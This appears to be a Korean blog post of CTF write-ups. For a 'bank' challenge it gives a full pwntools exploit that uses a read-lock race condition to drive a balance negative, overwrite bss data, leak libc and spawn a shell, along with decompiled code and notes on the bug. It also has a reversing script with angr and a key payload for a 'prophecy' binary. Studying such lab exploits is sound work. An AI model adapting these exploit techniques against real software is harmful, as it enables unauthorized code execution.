from pwn import *

r=process('./bank')

def rr():
    r.recvuntil('-->')

def buy():
    rr()
    r.sendline('5')
    rr()
    r.sendline('1')

def deposit(money):
    rr()
    r.sendline('3')
    rr()
    r.sendline('1') #white
    rr()
    r.sendline(str(money))
def withdraw(wb,money):
    rr()
    r.sendline('4')
    rr()
    r.sendline(str(wb))#white
    rr()
    r.sendline(str(money))
def transfer(money):
    rr()
    r.sendline('2')
    rr()
    r.sendline('1') #w->b
    rr()
    r.sendline(str(money))
def changename(ind,name):
    rr()
    r.sendline('6')
    rr()
    r.sendline(str(ind))
    rr()
    r.sendline(name)

deposit(800)
for _ in xrange(3):
    transfer(0)
for i in range(3):
    withdraw(1,800)

time.sleep(3)
for i in range(16):
    buy()
time.sleep(2)
buy()
strtoull=0x000000000602FA0
changename(16,p64(strtoull)+p64(0xDE0B6B3A763FFFF+2))
withdraw(1,1000000000000000000)
rr()
r.sendline('1')
r.recvuntil('Account Number : ')
leak=u64(r.recv(6).ljust(8,'\x00'))
libc_base=leak-0x3b3f0
r.success(hex(leak))
r.success(hex(libc_base))

buy()
changename(17,p64(libc_base+0x3c67a8))

rr()
r.sendline('5')
rr()
r.sendline('\xff')
rr()
r.sendline('22')
rr()
r.sendline(p64(libc_base+0xf1117))
rr()
r.sendline('7')
r.interactive()

aa



int __fastcall withdraw_white_40121D(void *a1)

{

  sigset_t set; // [rsp+20h] [rbp-120h]@1

  __int64 (__fastcall *v3)(); // [rsp+A0h] [rbp-A0h]@1


  sigemptyset(&set);

  sigaddset(&set, 10);

  v3 = sub_400CC6;

  sigaction(10, (const struct sigaction *)&v3, 0LL);

  pthread_rwlock_rdlock(&rwlock);

  if ( white_accountnum_bal_603220->balance_8 >= (unsigned __int64)a1 && white_accountnum_bal_603220->status10 != 1LL )

  {

    usleep(0x7A120u);

    pthread_rwlock_wrlock(&stru_6030C0);

    white_accountnum_bal_603220->balance_8 -= a1;

    cash_603020 += (__int64)a1;

    pthread_rwlock_unlock(&stru_6030C0);

  }

  return pthread_rwlock_unlock(&rwlock);

}

빨간부분이 wrlock이어야 하는데 rdlock으로 걸려있음

rdlock은 기존에 rdlock이 걸려잇어도 접근이 가능

조건문을 race condition으로 통과가능


먼저 writelock(락이 걸려있기만 하면 일단 접근이 불가능하며 블록됨)을 걸어놓고

대기상태로 만든다음

withdraw메뉴를 마구 돌려주면 이 메뉴들이  대기에 들어가서 write lock이 풀릴때 racecondition이 걸리면서 계좌에 돈이 없어도 cash로 변환이가능 그리고 계좌에 돈이 -가 될경우 signed기 때문에 돈이 마구마구 생겨버린다.

이를 이용해서 아이템을 많이 사면 bss에 white black account 부분을 덮을 수 가 있는데 이를 이용해서 릭을하고 오버라이트가 가능하다




angr써보려햇으나 결과값이 잘 안맞아서 그냥 디버깅

잘 돌리면 될거같은데 지금생각해보니 null byte때문에 삑난거 같은데 angr아웃풋 말고 /tmp/.starcraft파일을 봤으면

angr로 풀렸겠다 ㄷ_ㄷ


.starcraft는 ltrace해보면 바로 보인다


fread함수 bp 다걸어놓고 한줄씩 결과 프린트 비교하면서 찾아갔다.


from pwn import *
import struct
import time

#doesn't work just reversing with ida scripting
def angr_find():
    import angr

    p=angr.Project('./prophecy',load_options={"auto_load_libs":False})
    pg=p.factory.path_group(threads=4)
    pg.explore(find=0x40307b)#40330A)#40390A)
    print pg.found[0].state.posix.dumps(1).encode('hex')


#context(arch='i386', os='linux', log_level='debug')
def testgo():

    r=process('./prophecy')

    r.sendline('.starcraft')
    r.recvuntil('[*]Give me the key to unlock the prophecy')
    #raw_input()
    pay=p32(0x17202508)
    pay+='AA\x00AAAAA'
    pay+='\x5a'
    pay+='\x03'
    pay+='\x93\xea\xe4'
    #input
    pay+='\x00'
    pay+='\x5a\x45\x52\x41\x54\x55\x4c'
    pay+='\x00\x53\x41\x56\x45\x44'#0x444556415300
    pay+=p32(0x4C4C4100)

    raw_input()

    r.sendline(pay)
    raw_input()
#angr_find()
testgo()
#angr_find()



+ Recent posts